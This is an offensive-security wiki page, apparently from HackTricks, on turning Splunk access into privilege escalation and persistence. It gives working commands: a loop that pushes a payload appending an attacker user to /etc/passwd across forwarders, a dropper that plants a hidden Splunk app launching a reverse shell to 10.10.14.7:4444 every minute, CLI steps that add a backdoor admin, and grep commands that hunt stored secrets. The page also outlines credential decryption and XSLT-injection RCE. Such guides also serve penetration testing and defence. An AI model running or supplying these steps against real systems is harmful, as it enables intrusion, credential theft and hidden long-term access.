splunk-lpe-and-persistence.md (13069B)
1 --- 2 title: "Splunk LPE and Persistence" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/software-information/splunk-lpe-and-persistence.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/software-information/splunk-lpe-and-persistence.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Splunk LPE and Persistence 14 15 If **enumerating** a machine **internally** or **externally** you find **Splunk running** (usually **8000** for the web UI and **8089** for the management API), valid credentials can often be turned into **code execution** through app installation, scripted inputs, or management actions.<sup>[[1]](#references)[[5]](#references)[[6]](#references)[[10]](#references)</sup> If Splunk is running as **root**, that frequently becomes an immediate **privilege escalation**.<sup>[[1]](#references)</sup> 16 17 If you only need the generic remote attack surface, enumeration, or app-upload RCE path, check: 18 19 [8089 Splunkd](/hacktricks/network-services-pentesting/8089-splunkd) 20 21 If you are **already root** and the Splunk service is not listening only on localhost, you can also steal **Splunk password hashes**, recover **encrypted secrets**, or push a **malicious app** to keep persistence locally or across multiple forwarders.<sup>[[7]](#references)[[8]](#references)[[11]](#references)</sup> 22 23 ## Interesting Local Files 24 25 When you land on a host running Splunk or Splunk Universal Forwarder, these are usually the most interesting paths:<sup>[[7]](#references)[[8]](#references)[[9]](#references)[[10]](#references)[[11]](#references)</sup> 26 27 ```bash 28 export SPLUNK_HOME=/opt/splunk 29 [ -d /opt/splunkforwarder ] && export SPLUNK_HOME=/opt/splunkforwarder 30 31 find "$SPLUNK_HOME/etc" -maxdepth 4 \( -name passwd -o -name authentication.conf -o -name user-seed.conf -o -name inputs.conf -o -name app.conf -o -name serverclass.conf -o -name outputs.conf -o -name splunk.secret \) 2>/dev/null 32 33 grep -RniE 'pass4SymmKey|sslPassword|bindDNPassword|clear_password|token' "$SPLUNK_HOME/etc" 2>/dev/null 34 ``` 35 36 Important artifacts: 37 38 - **`$SPLUNK_HOME/etc/passwd`**: local Splunk users and password hashes.<sup>[[7]](#references)</sup> 39 - **`$SPLUNK_HOME/etc/auth/splunk.secret`**: key used by Splunk to encrypt secrets stored in several `.conf` files.<sup>[[8]](#references)</sup> 40 - **`$SPLUNK_HOME/etc/system/local/user-seed.conf`**: initial admin bootstrap file; useful in gold images and provisioning mistakes. It is ignored if `etc/passwd` already exists.<sup>[[9]](#references)</sup> 41 - **`$SPLUNK_HOME/etc/apps/*/{default,local}/inputs.conf`**: where scripted inputs are commonly enabled.<sup>[[10]](#references)</sup> 42 - **`$SPLUNK_HOME/etc/deployment-apps/`** or **`$SPLUNK_HOME/etc/apps/`**: good places to hide a persistent app or review what is already being distributed.<sup>[[11]](#references)</sup> 43 44 ## Splunk Universal Forwarder Agent Exploit Summary 45 46 For further details check [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a summary.<sup>[[1]](#references)</sup> 47 48 **Exploit overview:** 49 An exploit targeting the Splunk Universal Forwarder (UF) allows attackers with the **agent password** to execute arbitrary code on systems running the agent, potentially compromising a large portion of the environment.<sup>[[1]](#references)</sup> 50 51 **Why it works:** 52 53 - The UF management service is commonly exposed on **TCP 8089**.<sup>[[6]](#references)</sup> 54 - Attackers can authenticate to the API and instruct the forwarder to install a **malicious app bundle**.<sup>[[1]](#references)[[5]](#references)</sup> 55 - The same primitive can be used locally for **LPE** or remotely for **RCE**.<sup>[[5]](#references)</sup> 56 - Public tooling such as **SplunkWhisperer2** creates the app bundle automatically and can adapt payloads for Linux targets.<sup>[[5]](#references)</sup> 57 58 **Common ways to recover the password:** 59 60 - Cleartext credentials in documentation, scripts, shares, or deployment automation.<sup>[[1]](#references)</sup> 61 - Password hashes inside `$SPLUNK_HOME/etc/passwd` followed by offline cracking.<sup>[[1]](#references)[[7]](#references)</sup> 62 - Golden images or provisioning leftovers such as `user-seed.conf`.<sup>[[1]](#references)[[9]](#references)</sup> 63 64 **Impact:** 65 66 - SYSTEM/root-level code execution on each compromised host.<sup>[[1]](#references)</sup> 67 - Deployment of persistent apps, backdoors, or ransomware.<sup>[[1]](#references)</sup> 68 - Disabling or tampering with telemetry before the data is forwarded.<sup>[[1]](#references)</sup> 69 70 **Example command for exploitation:** 71 72 The original report demonstrates the following loop for sending a payload to multiple forwarders.<sup>[[1]](#references)</sup> 73 74 ```bash 75 for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done 76 ``` 77 78 **Usable public exploits:** 79 80 - [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2) 81 - [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238) 82 - [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487) 83 84 ## Persistence via Scripted Inputs or Malicious Apps 85 86 If you have **filesystem write access** as `root`/`splunk`, or authenticated access to install apps, a very reliable persistence mechanism is to drop a **custom app** with a **scripted input**.<sup>[[2]](#references)[[5]](#references)[[10]](#references)</sup> Splunk's own documentation expects scripted inputs to live under an app directory and be enabled from `inputs.conf`.<sup>[[10]](#references)</sup> 87 88 Typical layout: 89 90 ```bash 91 /opt/splunk/etc/apps/.linux_audit/ 92 ├── bin/check.sh 93 └── default/inputs.conf 94 ``` 95 96 Minimal `inputs.conf`:<sup>[[10]](#references)</sup> 97 98 ```ini 99 [script://$SPLUNK_HOME/etc/apps/.linux_audit/bin/check.sh] 100 disabled = 0 101 interval = 60 102 sourcetype = auditd 103 ``` 104 105 Quick Linux dropper (using that documented app layout):<sup>[[10]](#references)</sup> 106 107 ```bash 108 APP="$SPLUNK_HOME/etc/apps/.linux_audit" 109 mkdir -p "$APP/bin" "$APP/default" 110 printf '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.14.7/4444 0>&1"\n' > "$APP/bin/check.sh" 111 printf '[script://$SPLUNK_HOME/etc/apps/.linux_audit/bin/check.sh]\ndisabled = 0\ninterval = 60\n' > "$APP/default/inputs.conf" 112 chmod +x "$APP/bin/check.sh" 113 "$SPLUNK_HOME/bin/splunk" restart 114 ``` 115 116 Notes: 117 118 - The same trick works on **Universal Forwarder** using `/opt/splunkforwarder/etc/apps/`.<sup>[[2]](#references)[[10]](#references)</sup> 119 - Attackers often blend in by modifying a legitimate add-on instead of creating an obviously malicious app.<sup>[[2]](#references)</sup> 120 - On a **deployment server**, planting a malicious app inside `deployment-apps/` turns into **fleet-wide persistence** because forwarders poll, download updated apps, and often restart to apply them.<sup>[[11]](#references)[[12]](#references)</sup> 121 122 ## Credential Theft and Admin Takeover 123 124 If you can read Splunk's local files, there are usually two good goals: recover **Splunk admin access** and recover **encrypted service credentials**.<sup>[[8]](#references)</sup> 125 126 ### Password hashes and local users 127 128 Splunk stores local authentication data in `etc/passwd`. Depending on the deployment, cracking that file can recover working credentials for the web UI and the management API.<sup>[[1]](#references)[[7]](#references)</sup> 129 130 If you already have valid **admin** credentials and Splunk uses its **native** authentication backend, the CLI itself can be used for persistence.<sup>[[13]](#references)</sup> 131 132 ```bash 133 "$SPLUNK_HOME/bin/splunk" edit user admin -password 'Winter2026!' -auth admin:'OldPassword!' 134 "$SPLUNK_HOME/bin/splunk" add user svc_backup -password 'Winter2026!' -role admin -auth admin:'OldPassword!' 135 ``` 136 137 ### `splunk.secret` and encrypted values 138 139 Splunk uses `etc/auth/splunk.secret` to protect sensitive values stored in multiple configuration files. If you can steal both the **secret** and the relevant **`.conf` files**, you can often recover or replay:<sup>[[8]](#references)</sup> 140 141 - forwarder/indexer shared secrets such as `pass4SymmKey` 142 - TLS private-key passwords such as `sslPassword` 143 - LDAP bind credentials such as `bindDNPassword` 144 145 This can support **lateral movement** even when the Splunk admin password itself is not crackable.<sup>[[8]](#references)</sup> 146 147 ### `user-seed.conf` abuse 148 149 `user-seed.conf` is only consumed during first start or when `etc/passwd` does not exist. That makes it less useful on a live box, but very interesting in:<sup>[[9]](#references)</sup> 150 151 - compromised installation templates 152 - container images 153 - unattended provisioning workflows 154 - appliances where Splunk is reinitialized automatically 155 156 In those cases, planting a `HASHED_PASSWORD` generated with `splunk hash-passwd` gives you a quiet way to regain admin access after redeployment.<sup>[[9]](#references)</sup> 157 158 ## Abusing Splunk Queries 159 160 For further details check [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis).<sup>[[3]](#references)[[4]](#references)</sup> 161 162 A useful recent technique is abusing **user-supplied XSLT** in vulnerable Splunk Enterprise versions to turn a low-privileged authenticated account into **OS command execution** as the `splunk` user.<sup>[[3]](#references)[[4]](#references)</sup> 163 164 High-level flow:<sup>[[3]](#references)[[4]](#references)</sup> 165 166 1. Authenticate to Splunk. 167 2. Upload a malicious **XSL** file through the preview/upload functionality. 168 3. Make Splunk render search results with that uploaded stylesheet from the **dispatch** directory. 169 4. Use the XSLT payload to write a file or trigger execution through Splunk's search pipeline (for example by reaching internal functionality such as `runshellscript`). 170 171 The important offensive takeaway is that this path is **post-auth RCE without needing app upload**. On Linux it usually lands you in the **`splunk`** account, which is still valuable because that user often owns the application tree, can read secrets, and can plant persistent apps that survive shell loss.<sup>[[3]](#references)[[4]](#references)</sup> 172 173 A representative path used during exploitation is:<sup>[[4]](#references)</sup> 174 175 ```text 176 /opt/splunk/var/run/splunk/dispatch/<sid>/shell.xsl 177 ``` 178 179 If Splunk is running with too many privileges, or if the `splunk` user has access to dangerous scripts, writable service units, or bad `sudo` rules, this becomes a clean **LPE** chain. 180 181 ## References 182 183 - [1] [Abusing Splunk Forwarders For RCE And Persistence](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) 184 - [2] [Beware of TraitorWare: Using Splunk for Persistence](https://www.huntress.com/blog/beware-of-traitorware-using-splunk-for-persistence) 185 - [3] [Splunk Security Advisory SVD-2023-1104 – XSLT Injection RCE (CVE-2023-46214)](https://advisory.splunk.com/advisories/SVD-2023-1104) 186 - [4] [CVE-2023-46214 Analysis: Splunk XSLT Injection RCE](https://blog.hrncirik.net/cve-2023-46214-analysis) 187 - [5] [SplunkWhisperer2/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2) 188 - [6] [Change default values](https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.2/start-splunk-enterprise-and-perform-initial-tasks/change-default-values) 189 - [7] [authentication.conf](https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.4/configuration-file-reference/10.4.0-configuration-file-reference/authentication.conf) 190 - [8] [Deploy secure passwords across multiple servers](https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.4/install-splunk-enterprise-securely/deploy-secure-passwords-across-multiple-servers) 191 - [9] [user-seed.conf](https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/9.2/configuration-file-reference/9.2.6-configuration-file-reference/user-seed.conf) 192 - [10] [Setting up a scripted input](https://help.splunk.com/en/splunk-enterprise/developing-views-and-apps-for-splunk-web/10.0/build-scripted-inputs/setting-up-a-scripted-input) 193 - [11] [Create deployment apps](https://help.splunk.com/splunk-enterprise/administer/update-your-deployment/9.4/configure-the-deployment-system/create-deployment-apps) 194 - [12] [How deployment updates happen](https://help.splunk.com/en/splunk-enterprise/administer/update-your-deployment/9.2/deployment-server-and-forwarder-management/how-deployment-updates-happen) 195 - [13] [Configure users with the CLI](https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/9.4/perform-advanced-user-and-role-management-in-splunk-enterprise/configure-users-with-the-cli)